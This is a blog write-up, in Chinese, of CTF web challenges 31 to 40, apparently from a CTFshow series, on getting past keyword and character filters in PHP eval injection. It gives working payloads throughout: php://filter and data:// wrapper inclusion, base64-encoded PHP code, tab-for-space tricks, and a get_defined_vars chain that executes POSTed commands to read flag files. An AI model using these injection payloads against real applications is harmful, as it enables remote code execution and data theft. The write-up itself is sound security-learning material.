web入门31-40

web31

分析代码
image
过滤了system和空格还有单引号,用passthru代替system,双引号代替单引号,%09(Tab键)代替空格
image

web32

分析代码
image
发现没有过滤include,构造payload;过滤了分号,用?>来代替,空格用%09(Tab键)代替
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
使用伪协议获取base64加密后的flag
image
解码获得flag
image

web33

分析代码
image
和上一关一样,使用文件包含和伪协议
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
因为这一关双引号也被过滤了,所以直接去掉双引号,不影响
image
解码获得flag
image

web34

分析代码
image
只比上一关多过滤了一个冒号,不影响使用上一关的payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
image
解码获得flag
image

web35

分析代码
image
发现过滤了等号,但是不要被迷惑了,第一个等号是用来传参的,不会影响,使用上一关的payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
image
解码得到flag
image

web36

分析代码
image
发现只多了0-9的过滤,不影响上一关的payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
image
解码得到flag
image

web37

分析代码
image
使用data伪协议查看flag
?c=data://text/plain,<?php system('cat fla*')?>
image

web38

分析代码
image
发现过滤了php,可以使用base64编码绕过
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhKicpPz4=
image

web39

分析代码
image
发现会在文件接一个.php,构造payload
?c=data://text/plain,<?php system('cat fla*');?><?php
payload末尾加不加<?php都行,加了更好理解
image

web40

分析代码
image
过滤了数字和特殊字符,构造payload
eval(array_pop(next(get_defined_vars())));

get_defined_vars():函数返回由所有已定义变量所组成的数组。
next():函数将内部指针指向数组中的下一个元素,并输出。
array_pop():函数删除数组中的最后一个元素。
简单来说这个payload的作用就是取出POST数组的最后一个元素并执行,所以使用POST传参:1=system('tac fla*');
最后就会执行:eval(system('tac fla*'));

image

posted @ 2026-01-17 10:18  大雪深埋  阅读(51)  评论(0)    收藏  举报
// 正常配置 window.cnblogsConfig = { links: {}, }; // 友链页配置 window.cnblogsConfig.links.page = [ { title: '友情链接', // 标题 icon: 'icon-lianjie', // iconfont style: 'color: #a78bfa;', links: [ { name: '2_haowen_V', // 昵称 introduction: 'IT技术类博客', // 简介 avatar: 'https://pic.cnblogs.com/face/1334215/20180504110551.png', // 头像 url: 'https://www.hehaowen.com.cn/' // 友链地址 }, ] }, ];